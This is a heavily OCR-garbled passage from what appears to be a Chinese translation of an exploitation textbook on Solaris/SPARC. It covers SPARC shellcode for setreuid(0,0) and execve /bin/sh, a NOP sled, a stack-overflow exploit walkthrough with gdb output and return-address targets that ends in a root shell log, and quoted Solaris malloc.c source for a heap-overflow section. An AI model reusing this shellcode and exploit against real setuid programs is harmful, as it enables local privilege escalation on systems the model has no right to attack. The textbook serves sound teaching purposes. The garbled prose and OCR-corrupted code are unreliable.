"\x92\x02\x20\x08" // 5: add %00, 8, %ol
"\xd0\x22\x20\x08" // 6: st %00, [%00 + 8]
"\xc0\x22\x60\x04" /7 T: st %g0, (%ol + 4]
"\xc0\x2a\x20\x07" // 8: stb %g0, [%00 + 7]
*\x82\x10\x20\x0b" /7 9: mov 11, %gl
"\x91\xd0\x20\x08" // 10: ta 8
"/bin/sh"; // 11: shell string

T ZEATH X B .

(1) X BUR 9 AAFS Hshellcode i IE R A 07 .

(2) SEAESBART.

[OF ¢ 52/ 8
(4) 2 /bin/shitiibt A v00, XRERLEHHNE K.
(5) IBRBSBHA MR A v01. XAMIEALTF /bin/sh/FTHI8BAL, Tshellcode4t /5 TH

B4k, RAZMAMBE - BH.

(6) B % 8 /bin/sh¥IEAL B BB (argv(0]) MIHE—DRG.
) BBHHARBE ANRRBHEM, ULIEERA (sg0BREHD.
@) EEHMUBRE—NEFY, W/ bin/sh P RELWEMEL L.
) ERLEWAR S E A %91 (11=5YS_exec).

(10) LM (cafbEMsBE) BUT R .

(11) shell F7F 8.

10.2.3 Solaris B AMRLEIAR

Brexecvhh, SolarisEiEH LA R WA T LMEA, 7/ ust/include/sys/syscall.h B AT LA3RE] 5%

WiFIFR, R10-5F5IH T - HEKREA S

#10-5 HANRGWAAMARRKS

Rginm H = ARGEWA L
SYS_open 5 SYS_so_socket 230
SYS_exec 11 SYS_bind 232
SYS_dup 41 sYS_listen 233
sYS_setreiud 202 SYS_accept 234
SYS_setregid 203 SYS_connect 235
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10.2.4 NOP FAFERS
S T 1400 AR B A A O D X R W

#10-6 NOP!
SEOOREE, STERR AR s i 'Mﬁ .
{EARSHNAT, SPARCHINOPIR S 4 — oV e
Fifh, ENCHAMNETY, EREHET v v e ocnoor

FREH R BRI E. ER, FBES

or %g0, Oxfff, 30

“\XBO\XLB\X2F\xEE"

MUY, I EAHRERRR, mKi0-6
FHR.

10.3 Solaris/SPARC #ii+43

Solaris/SPARC H 4% i1 i) 41 4L HoAth SF & v (19 2%
e HefRintel x864 ) —HE, TR RMERNAIE

#10-7 Solaristi#FER

BRI AR

BORIE (LER10-D, BEHBRAKEVS, KK mw
D). RYER L3200 — REHISTH B R B E DR BB RRE R
BI96BI =8 [/], iXub2E[AIRR TIRAF8 AT A7 2R I8 Kb W
MAFAEBIN, R T2B; XBHATEAERY %%
GRS RIORIA, UPNEEIEIEE (uidy  PEFRSRREGEER R SRR
BT LA R BAMERED . XHERT R :;1 28
HFEALRR, BT R A TR B A4 B R
FOREBRAN AT RORT. XTLEBEE o gy
BB H SR A, Py

B TRA , TIAx86

SFEMPERRIFRERE . ERFHINAT, BEARH REEDHFFRE, BIESHNK

SR AT A AR, AR AT FALH, A RAREIIRE L.

10.4 Ml 7%

ERAVE —EIOMAT Ry Solariskili i ik . FERENIL T, &1 1fntel 1A32 HAIHATEAR
[, BaHREIHHE.

1041 fERK/RE
SPARCA VIS AERA/MUMBEH, X Filntel x86MFAR B L4 . RURH HARALS
RAAERR LIRS IR, ERTIRIEE REL S deffiHibt. AT, BEXARAY = 1
AR AEECS U RORTE (A AE 38 . B IO RR ST B B A B MUK SR AT R
R E AR, TR MR FI AL RAFAES 17 B . SPARCHIret#i4 & Hijmpl
%i7+8, SgOAURM, MUAERMILN SHirestorefi &I, M/ ret / restoreli @XM
—AFA, AR S ARIERIRAER W ORI RR37, AU R LA A A7 77 28
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WA, BESENBHN—BIRKE T, MAR A reck SEMRMBUTH % MR My Huhl .
R10-887R T #k LARFFHISolaris/SPARCH A7 88 8 D5 8. IXAME BMALUE AR (1L
WPGDB) B EIERE . WA A7 58 L0 RER A 7 28 AR AR TG

#108 HIRGNFEBEOHRE
$I0 $I1 $12 813
[ w15 w16 a7
$i0 $il $i2 $i3
14 %15 %i6 ({R1F1%6p) %17 (RFFHpe)
1042 FEFEREOMLR LT RN

FEFTSPARC CPU#KA [ 52 34 Bk 1) P9 #8547 77 88 81 1 . SPARC vORICPU LA A2~ 324 7758
W YCPUHHBE ISR, HildTsavelt, ¥4 8 DR KBE, CPUKRIFFBE
LI A AR, OARHUR A R LT XIS G SRR, ER%E 05 TLMR
B EREA: REWAER BRRIF S ARG, EHEAR.

ERAEMHN, WRRESENFFBRE IAER L, TRECPUNFFBE, BWBALR
BRI WARBE], RIEFHBA LRI LS ORI, TiRMN R RS
AR P S ORAP I %47 9 £ 58 A 20 S B

LGPk BRI, BT ARE TP, BEYERBOBE (break) K5
FHAHKFIFRE L . WRIRECEREST, HERH RN, TREBFFEREN, A
T SBEMLMEHARFRAET « BERNWER, KA 4GDBH L BTSN, BMAMER
THe. EKREARHWRBEENT, SEBWORLPRBFAR, ATIERE AR,

104.3 HitERHER

YRFREARN, 17 RBUFBEAR. XEREEANNFHRBNE, HTHGe17,
HREL TR A IER . RPN T, b TRERFMBITER, N BUMOERE.
IR, B AR A 72 B CL 2 M ROA T B O, AR SR B R 4R
£, WRIXLEARS LT, BAEXRREOEEZAT, SN R BHIRBRK. HTE
AR EAFER MBI B ) TR B Ak 0 %5 772 S8 00 2 8 M M0, FTREMSSUXAE .

SPARC L(FiWi 4t LA LIBBA 5 MRS —Wisiet, SR B E B MR
HAFE, FEMURE BT RMA MR M. ERITrestoref Ol MRBANFWIRE,
5| BUsHiIR, MTTT-SBORE o

10.4.4 WIRERIRRRTT 3%

BRAESR —ANRFA7 8 0 DB IRAFEERR b, 05 — 20 BT ABTRAZ (%17 BOAR RS .
RBHHETUEBRER, HHTRZRE RS, SHETTOMLRE LTI, AR
AAEBBOLLIRIFNAR . T, XA FEARKTTHE, R0 3 AR BT 38 th 48 T LA SR

X FREAEARTAAEI, BT CABCS RAF I A A7 2% o STAESTHOSE (9 —HEMISCHE, M —MRBIEIS
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—ANHREZ ) PR B R FT ARG B AT LS. R, RS - MR SRR OR
HREFAE RFERASARBEARHN A 2 FBERBIFAE. R, FEEREHE
A7 M2 A BRI VA L3, B RIFT R E MR BOR FIRARE , B IR i TR 9 Bt
LA

EHEWE T, AR MNEFSSE S MO TR E OFTRIBRA TN, AT, X
TR, FIEBA S B RATE A A
10.4.5 off-by-one ¥k &R

SPARC L. [fjoff-by-onelliiil I H MM, I HAENLHGI T RATTHARN . off-by-oneBiff
I B R AT HR AL . X3 FIntel x86_LIRBIAR, I8 W 7 R B S IRAF OB O B
BRSO, W AR ERERAT RIS AR — bl SRR AR BT, AR EE
g AR HIAHB4 ifoff-by-onedif & 1 FEFWLILMERE, LA ME PR 2%
i, WHLFH—AEFHHERGR L.

SPARCHibig-endianF i U5 #7144t . {Eoff-by-onelll TH, BB XMFWHHRIR, i
ARBBRAELE WA R HFREH BB R X7 o XHEE NBEE AR — R ¥, TRMEHRE
B, Hiin, MpRAERREET 0xFFBFL23 4B B XN F WSS, WTAEHE0xBF1234. X
AMHER TR, BRAEMEIER AT REIAMIE. RAEAERMOMRT, XA RTTH.

R ¥ WU 1 4%, Solaris/SPARC L3414k H AR RGBT RERIAWISRE, B
W EHRAFIE S IE B EARAL . R AT R ME — AT REBROA R R, SR — MR
#8100 R U off-by-onell I HEAT VAN /5 A B th IE R AT, {EXF AR, SPARCH)
off-by-onetk#i i i % UL L T 47 BRI AT fik k.

10.4.6 shellcode KL E

WIRF AR 7 HEHEBAT VI 52 (6 42 7 shellcodef¥) i fit . shelleode AT BUBZE JL AN
BN EA S R S5 PR shellcode STE T H N 2 1B 3k % i DRV B iR AT S, SO
EAEREAR ) HARFR AT R o

T M A setui aFFR YL, AT AESESIH BRI (RN RS BEXHE,
48 shellcode i L= K It 1) TS 499 J5 0 AR 895 28 6 2 W G 0, I B ETE AT Tt ) Bk b 42 31
shellcode, AT LASERE B SE R ARARAT S5« 40 AT WTRERDTT, I N0 R 1R

ERAR P RRFRS, 45 B R RAR IS, 7E4% LT $Rshellcode - BT EAB & — M A IREHE .
R IX (f7RR £ R 20 PP ) AR RS AT A S, DRI 7T LA L B A %
AR R A — YN B UL, ARMuhE T SLAF (AT TR AR NG, SR AN 3% o

PR L IRAB) G IE M G X SRR A R AT AT, HE AR . ARRATAI LI
shellcode i FBIVE A KAt IFEY), IEACHAT AR 6 Hettuhl, € (00 e DAGARZE P X 58 AR RE AT 4
BRI, FERBHANGL R, EHE £ F Hshellcode T AET 2R L U, BA M LHE, BIFRLARN
SR R ER 2R b ATHATRE R MR TEME EHATARTS, FTUL, XBmmEGRoR



105 HMAHHAMER 183

GERVE, X RARLF MR

#ESolaris/SPARC &, & [Ellibei (OB M AR, Bkl A SRl MERSHKE
HARRGERBUER PRI, Solaris/SPARCH £ IR ARI B EE, EE T ALK P ERIE RS,
YiWindows. WIEHEIbH NN SR IGH A R A AFN, B EE MSolaris RATRRAE T g —
ATUA EflibehiiA . xA iRy, & Flibeffy Bt b o] LU AR B R, BT LA RE T Rt 5
o RBCET AL 1] A v A A ) B8 O R — N SEHE R IR SO B P, IR [Blibof 7 TR
FRALWMR BV R ATATHY

RTHT PR IR IR LT A7) i, B R AT R T B 38
PR RTBAT SRS . R RFRBA R 5E0x00010000, XAMBHIIR A S EY. £
FERBT, fEshellcoderE \ BB KSR MR TTREN), WRIEARDIE EFEfhishellcode R AE AT
SEH TR, AT AR — T XA k.

10.5 % AR AR SEAY

SANFR T LA Solaris/SPARC L3RR (MR 2 il 1. Tl AR B A%,
HAALEABUE (I Solaris S FH A2 HLAS A REAR B A AOAR RS 1 .

10.5.1 HEsseoigr
0 TUOREREBR R, BATET)S TR BT, EAKRS, TS
WP ARF LRI E WS, AT, SHFR—MEFRE SRS, REORELT
int vulnerable_function(char *userinput) {
char buf(64];

strepy (buf, userinput) ;
return 1;

)

EEAMITE, userinput AL Ar-SATHBMIE - DMBY R, XMYFEBHAH M
YBIEL, AT R BRATISRGE T AR 7T fihk

LARFIWSREST, MIDA ProHLn] LUF BT HI S USRS

vulnerable_function:

var_50 =
arg_44 = 0x44

save  %sp, -Oxb0, %sp

st %i0, [%fp+arg_44)
add %fp, var_50, %00
1a [#fprarg_44], %ol
call  _strcpy

NOP
strepyMIB— M SRR BFREMK, EXMITFE, SR THIREHHIS0BA (0x50). TR
L A AU e AR, X MR RAEI S FEIR R P0G, XA B O, B— MR
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RAFLFBRESISMAE NI e to, MLTHEREDRES6BL. Bk, MREFRE ML
RBBHTRBMAENSH, WHRH NSO F IR, SBOEFHB. RITRRIE—T.

e, MBSBREFRRIENR—NSEBITRT.

# gdb ./stack_overflow

GNU gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you

are welcome to change it and/or distribute copies of it under certain

conditions.

Type *show copying® to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty® for

details.

This GDB was configured as "sparc-sun-solaris2.8"...(no debugging

symbols found)...

(gdb) r ‘perl -e *print 'A’ x 135*°

Starting program: /test/./stack overflow ‘perl -e *print 'A' x 135"

(no debugging symbols found)...(no debugging symbols found)...(no

debugging symbols found)...

Program exited normally.

T, SR ARFRAT MR K 47 8T A SESIRHAIEL TRE B, RIFATAER IR
HIFAR 2 it

W, SIEH -SRI E-NF, SRAZEERFET .

(gdb) r ‘perl -e *print 'A' x 136"

Starting program: /test/./stack_overflow ‘perl -e *print 'A’ x 136"

(no debugging symbols found)...(no debugging symbols found)...(no

debugging symbols found)...

Program received signal SIGSEGV, Segmentation fault.

0x10704 in main ()

(gdb) x/i $pc

0x10704 <main+88>: restore

(gdb) print/x $fp

$1 = Oxbffd2s

(gdb) print/x $i5

$2 = 0x41414141

(gdb)

TEXAMITH, PP WAL NSRS THIRE (sieslsp) WMMLTY. EW
PR BN, LARTIRAE B A A7 2R e SHIARIR T o BERRAECRAF (MU S THI () L ARAF IO F 241
§t BUSRAFIIIES I S BT RS RATGIY, T4 5 K KMESCT HT M BRI R
B BAETFOAE RS AR AREDIE .

105.2 FERRRED

XA RIS LB S o R BE KISE—A SRABITHESS ROF)F, DULARR . B
HIKRAMRERE, BATAT AERIEHIFIA R, WM AT shellcodedRBe, KREANEFHTT. R
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10— T E ) RshellcodefE A7 INMAE, ARSI REMBARIET.

EA BB EE A ARG, R4S T AR A HAMER, X BRRMERSE
RRATS .
struct {
char *name;
int length until fp;
unsigned long fp_value;
unsigned long pe_value;
int align;
} targets[] = {
€
"Solaris 9 Ultra-sparc’,
136,
OxfEb£1238,

0x££bEL010,
0

¥

HTFLEHEBIE, IR VENKE, YA TREEERE AR SR,
AR A SR M T L 36 MU WIT I R, R TR IR R M e IR FR o B
fif. Fftishellcode R BMATG M — 4}, INOPHIFEY) —RIBHER P B R A,

static char setreuid_codel]= "\x90\x1d\xc0\x17" // xor %17, 17, %00
"\x92\x1d\xc0\x17" /1 xor %17, %17, %ol
"\x82\x10\x20\xca" /1 mov 202, %gl
*\X91\xd0\x20\x08" ; /1 ta 8

static char shellcodel]="\x20\xbf\xff\xff* // bn,a scode - 4
"\x20\xbf\x££\x££* // bn,a scode
"\XTE\XEE\XEE\x££* // call scode + 4
"\x90\x03\xe0\x20" // add %07, 32, %00
"\Xx92\x02\x20\x08" // add %00, 8, %ol
"\xd0\x22\x20\x08" // st %00, [%00 + 8]
“\XCO\X22\x60\x04" // st g0, [%ol + 4]
"\xc0\x2a\x20\x07" // stb %g0, [%00 + 7]
“\x82\x10\x20\x0b* // mov 11, %gl
*\x91\xd0\x20\x08" // ta 8
“/bin/sh";

shellcode /7 setreuid (0, 0), HEHMA S IDB hroot, HAEATHIM I £ Kexecy
shellcode.
SXANBtARE )3 — YBAT WS A T BT

# gdb ./stack_exploit
GNU gdb 4.18
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Copyright 1998 Free Software Foundation, Inc.
GDE is free software, covered by the GNU General Public License, and you

Are welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "sparc-sun-solaris2.8"...(no debugging symbols found)...
(gdb) r 0

Starting program: /test/./stack_exploit 0

(no debugging symbols found)...(no debugging symbols found)...(no

debugging symbols found)...

Program received signal SIGTRAP, Trace/breakpoint trap.

0xff3c29a8 in 22 ()

(gab) ©

Continuing.

Program received signal SIGILL, Illegal instruction.

Oxffb£1018 in ?? ()

(gdb)

EBBMARE RN EAS . BRAVABM BIRE ST TRFTRS, BH—E
[, PUTHEFABIRE (ROKEHMA) £T . €8N, EAIERMOISAT T EERS, 2
I ERATIAE B SIEHAT R W B E MR Mt B, B FRELEAFE
T FHHESITHAE T E k.

shellcodeSii%ARH A 4k, B ARMMEA T Kk AivopiiE & AT, i LA ELERFH
A RE, FTUASKEE LEN R TR E, R TIMGE FR.

(gdb) x/128x $sp

Ox££bE1238:
Ox£EbE1248:

Ox££bE1258:

OxEEDE1268:

FRIEEFERZ T, RAVER ERB)— KT, FRKMWRELR Mshellcode.
(gdb)

OxEEbEECIB: 0x2£££8018 0x2£££8018 0x2£££8018 0x2£££8018
OxEEbEFCAB: 0x2£££8018 0x2£££8018 0x2£££8018 0x2£££8018
OxEfbEfess: 0x2£££8018 0x2£££8018 0x2£££8018 0x2£££8018
OxEEbEFCE8: 0x2£££8018 0x2£££8018 0x2£££8018 0x2£££8018

KBTI RITEMIE S, AR boxEfoEfeddkt. Fud, HERFEAKNZ, RAE
AR BB ST TR 2 AR 2

#define NOP *\xB0\x1B8\x2f\xff"

BT LT AR FERG A FE R (TR U \x2 £ \ x££\ x80\x18. [ SPARCHE 4 i R LA4BRf
Fr BTLAA e R AT S (AR R A S 2B, XTI S BBusib. AT, &
It RN AP NS F A, RATTB AT LLIEHi%4 S shellcode, AT IEHitiitidi & LA4BA FHK
e MRS, BRSNS IERRORIE, ok, NZATLSITshell T

struct {
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char *name;
int length until fp;
unsigned long fp_value;
unsigned long pc_value;
int align;
} targets(] = {
{
*solaris 9 Ultra-Sparc*,
136,
Ox££D£1238,
Ox££bfECIB,
2
}

}i

BEIE /R HIREARARAL AL T A AT shell T ROR—TF .

$ uname -a

SunOS unknown 5.9 Gemeric sundu sparc SUNW,Ultra-5_10

$ 1s -al stack_overflow

-rwsr-xr-x 1 root other 6800 Aug 19 20:22 stack_overflow

$ id

ui;=soou14nobudy) 9id=60001 (nobody)

§ ./stack_exploit 0

# id

uid=0(root) gid=60001 (nobody)

#

AT RRARTRBIMHAREH, FULAAIES T UM SRR L2, AL,
KB B TRl VAR R AR AN A B ZE A0SO 9 3 T LA SR B3 /0 T RO A A B

(stack_overflow.cfllstack_exploit.c)e
10.6 Solaris/SPARC L&yt

FEPUARIRITRI ST , SR8 L AR HS Y T GRS ¥ 38 . — AL T A8 AT LU AT e e
SR, TIPSR KRR . BRI, M IR BB RAE S RATHA KR

SRS R B WA P TERATAEE. Koiti # BT LA SRS R RAFAE S RO
RO, T AR MR R R o R RBTA 3 SOV B B M ERAF RIS, AL, Solaris
System V (X3 SCHLRIX P

Rt — BB R. B P REMBY, SSRGS BoPRER,
BB 7E R AERRALE . SRR, BRRRIE MR AR M= R B4R
RdH, REEHELGH B SRESRCERREBIAR O BB, KEERAT. BE SRR
AT — LBl B W A7 R AL RO BRAE, FTREVAS — R BRE B — R G R R TR S 4R
18 BUEMAORE LM — AR AR TTIRNE, AR AR SIS A, b TR AR ],
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BFARYH AR S H AR ARG RERIA.

RBR RS BARIELEME b, T HBEEH ARE, BABEHRE, AEECHHEEHS
WEMA . BIFHRE B SRR REER T, MRARREHPH—D, XT3RS Rh)
it ETHE.

10.6.1 Solaris System V #4453

Solarisf#ESCHUAE T H MM — S, EIHA/NRHET . X SBURMKI SIS, WD
PEETAIWMIT . BRENFAGHESIIRET, REGERAADLASBA FXF . MR 45T
BAEMRF, RN HBACRBAR B WRIENFEP AT — SRR, WS = RACELH B
tRE.

free () B (_free_unlocked) A5 3Lkr LAt A& M, FiE SRIXAFIAIKIRIEL
B~ Hrealfree () WEREHMIT. free () MBUARHREM M PRIAT —LLMBUi & T 940
B, RFEEHBERFIRE, HERNEHTLEE. S2ZRFIRKT, H#Hnalloc/realloc
WiRAIR, EHH A cleanfree () RIFTZRFI%.

Solaris I3 SEBHAT K B SN W NBRAE. TELERT, it sbricRYE VRS0,
TEATER, 2AEARWMERREHE—R.

10.6.2 ERIBHRGEH

Xt FREMRHERE K, BT % EER MR Solaris HEMIPHRGIHI; X1, JSRER T LAY 09 4 ik41,
WREARBF U S A IT , BAFRERBAPRGE M . TE XM AISolaris libo ., HESCHRM AT LT .
B—MFEBRmalloc.c, BIAMWHRmallint. he

Al Copyright (c) 1988 AT&T */
Al All Rights Reserved */

/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */
/* The copyright notice above does not evidence any  */
/* actual or intended publication of such source code. */

I
* Copyright (c) 1996, by Sun Microsystems, Inc.
* All rights reserved.

*/

#pragma  ident  "@(#)malloc.c 1.18 98/07/21 SMI* /* SVré.0 1.30 */
/*LINTLIBRARY*/

I
*  Memory management: malloc(), realloc(), free().

* The following #-parameters may be redefined:
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ok ke ke e

ke e s

% waxow o w

SEGMENTED: if defined, memory requests are assumed to be
non-contiguous across calls of GETCORE's.

GETCORE: a function to get more core memory. If not SEGMENTED,
GETCORE(0) is assumed to return the next available
address. Default is 'sbrk'.

ERRCORE: the error code as returned by GETCORE.

Default is (char *)(-1).

CORESIZE: a desired unit (measured in bytes) to be used

with GETCORE. Default is (1024*ALIGN).

This algorithm is based on a best fit strategy with lists of
free elts maintained in a self-adjusting binary tree. Bach list
contains all elts of the same size. The tree is ordered by size..
For results on self-adjusting trees, see the pape:
Self-Adjusting Binary Trees,
DD Sleator & RE Tarjan, JACM 1985.

The header of a block contains the size of the data part in bytes.
Since the size of a block is 0%4, the low two bits of the header
are free and used as follows:

BITO: 1 for busy (block is in use), 0 for free.

BIT1: if the block is busy, this bit is 1 if the
preceding block in contiguous memory is free.
Otherwise, it is always 0.

#include "synonyms.h"
#include <mtlib.h>
#include <sys/types.h>
#include <stdlib.h>
#include <string.h>
#include <limits.h>
#include *mallint.h"

static TREE *Root, /* root of the free tree */
*Bottom, /* the last free chunk in the arena */
*_morecore(size_t); /* function to get more core */

static char *Baddr; /* current high address of the arena */

static char *Lfree; /* last freed block with data intact */

static void t_delete(TREE *);

static void t_splay(TREE *);

static void realfree(void *);

static void cleanfree(void *);

static void *_malloc_unlocked(size_t);

#define FREESIZE (1<<5) /* size for preserving free blocks until
next malloc */
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#define FREEMASK FREESIZE-1

static void *flist[FREESIZE]; /* list of blocks to be freed on next malloc
static int freeidx; /* index of free blocks in flist % FREESIZE */

I

*
static TREE

Allocation of small blocks

*List [MINSIZE/WORDSIZE-1]; /* lists of small blocks */

static void *
_smalloc(size_t size)
{
TREE  *tp;
size_t i;

ASSERT (size % WORDSIZE == 0);

/* want to return a unique pointer on malloc(0)
if (size == 0)

size = WORDSIZE;

*/

/* list to use */

= size / WORDSIZE - 1;

if (List[i] == NULL) (
TREE *np;
int n;
/% number of blocks to get at one time
#define NPS (WORDSIZE*8)
ASSERT((size + WORDSIZE)

.
* NPS >= MINSIZE);

/* get NPS of these block types */
if ((List[i] = _malloc_unlocked((size + WORDSIZE)

return (0);

* NPS))

u
i
°

/* make them into a link list */

for (n = 0, np = List[i]; n < NPS; ++n) {
tp = np;
SIZE(tp) = size;

np = NEXT(tp
AFTER (tp) = np;

}
AFTER(tp) = NULL;

/* allocate from the head of the
tp = List[i);

List(i] = AFTER(tp);

SETBITO (SIZE(tp));

queue */
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return (DATA(tp));

void *

malloc(size_t size)

€
void *ret;
(void) _mutex_lock(&_malloc_lock);
ret = _malloc_unlocked(size);
(void) _mutex unlock(&_malloc_lock);
return (ret);

static void *
_malloc_unlocked(size_t size)
{

size_t n;

TREE  *tp, *sp;

size_t o_bitl;

COUNT (nmalloc) ;
ASSERT (WORDSTZE

ALIGN) ;

/* make sure that size is 0 mod ALIGN */
ROUND(size) ;
/* see if the last free block can be used */
if (Lfree) (

sp = BLOCK(Lfree);

n = SIZE(sp);

CLRBITSO1(n);

if (n == size) {
s
* exact match, use it as is
-/
freeidx = (freeidx + FREESIZE - 1) &

FREEMASK; /* 1 back */
flist(freeidx] = Lfree = NULL;
return (DATA(sp)):

} else if (size >= MINSIZE && n > size) (
I
* got a big enough piece
*/

freeidx = (freeidx + FREESIZE - 1) &
FREEMASK; /* 1 back */

flist(freeidx] = Lfree = NULL;

o_bitl = SIZE(sp) & BITI;

SIZE(sp) = n;

goto leftover;
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/* perform free's of space since last malloc */
cleanfree (NULL) ;

/* small blocks */

if (size < MINSIZE)

return (_smalloc(size));

/* search for an elt of the right size */

sp = NULL;
n = 0;
if (Root) {

tp = Root;
while (1) {
/* branch left */
if (SIZE(tp) >= size) {
if (n == 0 || n >= SIZE(tp)) {
sp = tp;
n = SIZE(tp):

}
if (LEFT(tp))
tp = LEFT(tp);
else
break;
} else { /* branch right */
if (RIGHT(tp))
tp = RIGHT(tp);
else
break;

if (sp) {
t_delete(sp);

} else if (tp != Root) {
/* make the searched-to element the root */
t_splay(tp);
Root = tp;

/* if found none fitted in the tree */
if (tsp) (
if (Bottom && size <= SIZE(Bottom)) {
sp = Bottom;
CLRBITSO1(SIZE(sp));
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} else if ((sp = _morecore(size)})
return (NULL);

NULL) /* no more memory */

/* tell the forward neighbor that we're busy */
CLRBIT1 (SIZE(NEXT(sp))) ;

ASSERT (ISBITO (SIZE (NEXT (sp))) ) ;

leftover:
/* if the leftover is enough for a new free piece */

if ((n = (SIZE(sp) - size)) >= MINSIZE + WORDSIZE) {
n -= WORDSIZE;
SIZE(sp) = size;

tp = NEXT(sp);
SIZE(tp) = n|BITO;
realfree (DATA(tp)) ;

} else if (BOTTOM(sp))
Bottom = NULL;

/* return the allocated space */
SIZE(sp) |= BITO | o_bitl;
return (DATA(sp));

)

I
* realloc().

* If the block size is increasing, we try forward merging first.
* This is not best-fit but it avoids some data recopying.

*/

void *

realloc(void *old, size_t size)

(

TREE *tp, *np;
size_t ts;
char *new;

COUNT (nrealloc) ;

/* pointer to the block */

(void) _mutex_lock (& malloc_lock);

if (old == NULL)
new = _malloc_unlocked(size);
(void) _mutex_unlock (& malloc_lock);
return (new);

/* perform free's of space since last malloc */
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cleanfree(old) ;

/* make sure that size is 0 mod ALIGN */
ROUND (size);

BLOCK (01d) ;
SIZE(tp) ;

/* if the block was freed, data has been destroyed. */
if (1ISBITO(ts)) (

(void) _mutex_unlock(&__malloc_lock);

return (NULL);

/* nothing to do */

CLRBITSOL(SIZE(tp));

if (size == SIZE(tp)) {
SIZE(tp) = ts;
(void) _mutex_ unlock(&_malloc_lock);
return (old);

/* special cases involving small blocks */
if (size < MINSIZE || SIZE(tp) < MINSIZE)
goto call_malloc;

/* block is increasing in size, try merging the next block */
if (size > SIZE(tp)) {
np = NEXT(tp);
if (1ISBITO(SIZE(np))) {
ASSERT (SIZE(np) >= MINSIZE);
ASSERT (! ISBIT1(SIZE(np)));
SIZE(tp) += SIZE(np) + WORDSIZE;
if (np != Bottom)
t_delete(np) ;
else
Bottom = NULL;
CLRBIT1(SIZE(NEXT(np))) ;

#ifndef SEGMENTED

/* not enough & at TRUE end of memory, try extending core
if (size > SIZE(tp) && BOTTOM(tp) && GETCORE(0) Baddr)
Bottom = tp;
if ((tp = _morecore(size)) == NULL) {
tp = Bottom;
Bottom = NULL;
}

*/
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#endif
}

/* got enough space to use */
if (size <= SIZE(tp)) {
size_t n;

if ((n = (SIZE(tp) - size))

WORDSIZE;
SIZE(tp) = size;
np = NEXT(tp);
SIZE(np) = n|BITO;
realfree (DATA(np));

) else if (BOTTOM(tp))
Bottom = NULL;

MINSIZE + WORDSIZE) {
n

/* the previous block may be free */
SETOLDO1 (SIZE(tp), ts);

(void) _mutex unlock(&_malloc_lock);
return (0ld);

/* call malloc to get a new block */
call_mallo
SETOLDO1 (SIZE(tp), ts);

if ((new = _malloc_unlocked(size))
CLRBITSO01(ts) ;
if (ts > size)

ts = size;

MEMCOPY (new, old, ts);
_free_unlocked(old) ;
(void) _mutex_unlock(&_malloc_lock);
return (new);

NuLL) {

Ix
* Attempt special case recovery allocations since malloc() failed:
* 1. size <= SIZE(tp) < MINSIZE
- simply return the existing block
2. SIZE(tp) < size < MINSIZE

malloc() may have failed to allocate the chunk of

small blocks. Try asking for MINSIZE bytes.
3. size < MINSIZE <= SIZE(tp)

malloc() may have failed as with 2. Change to

MINSIZE allocation which is taken from the beginning

of the current block.
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} else if (size < MINSIZE) {

* 4. MINSIZE <= SIZE(tp)

< size

1If the previous block is free and the combination of
these two blocks has at least size bytes, then merge
the two blocks copying the existing contents backwards.

%/
CLRBITSO01(SIZE(tp));
if (SIZE(tp) < MINSIZE) (
if (size < SIZE(tp)) (
SETOLDOL (SIZE(tp), ts);
(void) _mutex_unlock (& _malloc_lock);
return (old);
} else if (size < MINSIZE) {
size = MINSIZE;
goto call malloc;

/% case 1. */

/% case 2. */

)

/% case 3. */
size = MINSIZE;

goto chop_big;

) else if (ISBITL(ts) &&

(SIZE(np = LAST(tp)) + SIZE(tp)
ASSERT (! ISBITO (SIZE(np))) ;
t_delete(np) ;
SIZE(np) += SIZE(tp) + WORDSIZE;
/e
* Since the copy may overlap, use memmove()
* Otherwise, copy by hand.
*
(void) memmove (DATA(np), old, SIZE(tp));
old = DATA(np);
tp = np;
CLRBIT1(ts) ;
goto chop_big;

+ WORDSIZE) >= size) {

if available.

)
SETOLDO1 (SIZE(tp), ts);

(void) _mutex unlock(&__malloc_lock);
return (NULL);

realfree() .

Coalescing of adjacent free blocks is done first.

Then, the new free block is leaf-inserted into the free tree
without splaying. This strategy does not guarantee the amortized
O(nlogn) behavior for the insert/delete/find set of operations
on the tree. In practice, however, free is much more infrequent
than malloc/realloc and the tree searches performed by these
functions adequately keep the tree in balance.
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static void

realfree(void *old)

€
TREE *tp, *sp, *mp;
size t ts, size;

COUNT (nfree) ;

/% pointer to the block */
tp = BLOCK(old):
ts = SIZE(tp);
if (1ISBITO(ts))

return;
CLRBITSO01(SIZE(tp)) ;

/% small block, put it in the right linked list */
if (SIZE(tp) < MINSIZE) {

ASSERT(SIZE(tp) / WORDSIZE >= 1);

ts = SIZE(tp) / WORDSIZE - 1;

AFTER(tp) = List[ts);

List(ts] = tp;

return;

/* see if coalescing with next block is warranted */
NEXT(tp) ;
ISBITO(SIZE(np))) {
if (np != Bottom)
t_delete(np) ;
SIZE(tp) += SIZE(np) + WORDSIZE;

/* the same with the preceding block */
if (ISBIT1(ts)) {

np = LAST(tp);

ASSERT (! ISBITO (SIZE(np)));

ASSERT (np != Bottom);

t_delete(np) ;

SIZE(np) += SIZE(tp) + WORDSIZE;

tp = np;

/* initialize tree info */
PARENT(tp) = LEFT(tp) = RIGHT(tp) = LINKFOR(tp) = NULL;

/* the last word of the block contains self's address */
*(SELFP(tp)) = tp;

/* set bottom block, or insert in the free tree */
if (BOTTOM(tp))
Bottom = t)
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else {
/* search for the place to insert */
if (Root) {
size = SIZE(tp);
np = Root;
while (1) {
if (SIZE(np) > size) {
if (LEFT(np))
np = LEFT(np);
else {
LEFT(np) = tp;
PARENT (tp) = np;
break;

}
} else if (SIZE(np) < size) {
if (RIGHT(np))
np = RIGHT(np);

else {
RIGHT(np) = tp;
PARENT (tp) = np;
break;
}
) else {
if ((sp = PARENT(np)) {
if (np == LEFT(sp))
LEFT(sp) = tp;
else

RIGHT(sp) = tp;
PARENT (tp) = spi

) else
Root = tp;
/* insert to head of list */
if ((sp = LEFT(np)) != NULL)

PARENT (sp) = tp;

LEFT(tp) = sp;

if ((sp = RIGHT(np))
PARENT (sp) = tp;
RIGHT (tp) = Sp;

NULL)

/* doubly link list */
LINKFOR (tp) = np;
LINKBAK (np) = tp;
SETNOTREE (np) ;

break;

} else
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Root = tp;
/* tell next block that this one is free */
SETBITI(SIZE(NEXT(tp)));

ASSERT (1SBITO (SIZE (NEXT(tp))));

s
